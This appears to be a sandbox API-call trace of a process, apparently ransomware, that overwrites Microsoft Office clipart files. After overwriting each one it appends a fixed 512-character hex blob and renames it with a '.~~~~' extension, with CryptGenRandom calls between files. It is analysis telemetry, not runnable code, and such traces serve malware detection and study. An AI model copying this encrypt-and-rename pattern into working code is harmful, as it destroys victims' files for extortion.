	[0106.657] WriteFile (in: hFile=0x130, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x3e91, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x3e91, lpOverlapped=0x0) returned 1
	[0106.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0106.658] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.658] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.659] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.659] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.659] CloseHandle (hObject=0x130) returned 1
	[0106.659] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2898768
	[0106.659] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg.~~~~")) returned 1
	[0106.660] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898768 | out: hHeap=0x300000) returned 1
	[0106.660] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0106.660] GetLastError () returned 0x0
	[0106.660] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0106.662] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.662] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.662] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0106.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0106.662] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22665256765) returned 1
	[0106.663] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa93f7bb0, dwHighDateTime=0x1d60e1e)) 
	[0106.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0106.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0106.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0106.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286dbb0
	[0106.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286dbb0 | out: hHeap=0x300000) returned 1
	[0106.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2898768
	[0106.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874018
	[0106.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898768 | out: hHeap=0x300000) returned 1
	[0106.663] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0106.664] GetLastError () returned 0x0
	[0106.664] GetLastError () returned 0x0
	[0106.664] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0106.664] GetLastError () returned 0x0
	[0106.664] GetLastError () returned 0x0
	[0106.667] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffbc3b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.667] WriteFile (in: hFile=0x130, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x43c5, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x43c5, lpOverlapped=0x0) returned 1
	[0106.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0106.668] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.668] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.668] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.669] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.669] CloseHandle (hObject=0x130) returned 1
	[0106.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2898768
	[0106.669] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg.~~~~")) returned 1
	[0106.670] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898768 | out: hHeap=0x300000) returned 1
	[0106.670] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0106.670] GetLastError () returned 0x0
	[0106.671] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0106.672] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.672] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.672] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.673] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0106.673] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0106.673] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22666277730) returned 1
	[0106.673] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa941dd10, dwHighDateTime=0x1d60e1e)) 
	[0106.673] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0106.673] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0106.673] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0106.673] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286dbe8
	[0106.673] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.673] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286dbe8 | out: hHeap=0x300000) returned 1
	[0106.673] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.673] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.673] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2898768
	[0106.673] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.673] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28740b0
	[0106.673] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898768 | out: hHeap=0x300000) returned 1
	[0106.673] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0106.674] GetLastError () returned 0x0
	[0106.674] GetLastError () returned 0x0
	[0106.674] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0106.674] GetLastError () returned 0x0
	[0106.674] GetLastError () returned 0x0
	[0106.723] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffff727a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.723] WriteFile (in: hFile=0x130, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x8d86, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x8d86, lpOverlapped=0x0) returned 1
	[0106.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0106.724] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.724] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.724] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.724] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.724] CloseHandle (hObject=0x130) returned 1
	[0106.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0106.755] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg.~~~~")) returned 1
	[0106.756] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.756] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0106.756] GetLastError () returned 0x0
	[0106.789] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2941fe8) returned 1
	[0106.791] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0106.791] CryptReleaseContext (hProv=0x2941fe8, dwFlags=0x0) returned 1
	[0106.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0106.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0106.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0106.791] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22678099174) returned 1
	[0106.791] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa954e810, dwHighDateTime=0x1d60e1e)) 
	[0106.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0106.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0106.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0106.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286dda8
	[0106.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286dda8 | out: hHeap=0x300000) returned 1
	[0106.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0106.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28744d8
	[0106.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.791] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0106.792] GetLastError () returned 0x0
	[0106.792] GetLastError () returned 0x0
	[0106.792] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0106.792] GetLastError () returned 0x0
	[0106.792] GetLastError () returned 0x0
	[0106.853] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffc9a8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.853] WriteFile (in: hFile=0x144, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x3658, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0x3658, lpOverlapped=0x0) returned 1
	[0106.854] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0106.854] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.854] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.854] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.854] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.854] CloseHandle (hObject=0x144) returned 1
	[0106.871] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0106.871] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292278.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292278.wmf.~~~~")) returned 1
	[0106.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0106.906] GetLastError () returned 0x0
	[0106.907] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0106.908] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0106.908] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.908] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0106.908] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0106.908] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0106.908] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22689839643) returned 1
	[0106.908] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa96591b0, dwHighDateTime=0x1d60e1e)) 
	[0106.908] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0106.908] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0106.909] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0106.909] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286df68
	[0106.909] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.909] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286df68 | out: hHeap=0x300000) returned 1
	[0106.909] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.909] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.909] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0106.909] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.909] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874570
	[0106.909] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.909] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0106.909] GetLastError () returned 0x0
	[0106.909] GetLastError () returned 0x0
	[0106.910] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0106.910] GetLastError () returned 0x0
	[0106.910] GetLastError () returned 0x0
	[0106.913] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffa632, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.913] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x59ce, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x59ce, lpOverlapped=0x0) returned 1
	[0106.914] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0106.914] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.914] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.914] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.914] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.914] CloseHandle (hObject=0x144) returned 1
	[0106.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0106.915] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297229.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297229.wmf.~~~~")) returned 1
	[0106.916] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.916] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0106.916] GetLastError () returned 0x0
	[0106.916] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0106.917] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0106.917] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.917] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0106.917] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0106.917] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0106.917] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22690754647) returned 1
	[0106.917] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa967f310, dwHighDateTime=0x1d60e1e)) 
	[0106.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0106.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0106.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0106.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286dfa0
	[0106.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286dfa0 | out: hHeap=0x300000) returned 1
	[0106.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0106.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874b60
	[0106.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.918] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0106.918] GetLastError () returned 0x0
	[0106.919] GetLastError () returned 0x0
	[0106.919] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0106.919] GetLastError () returned 0x0
	[0106.919] GetLastError () returned 0x0
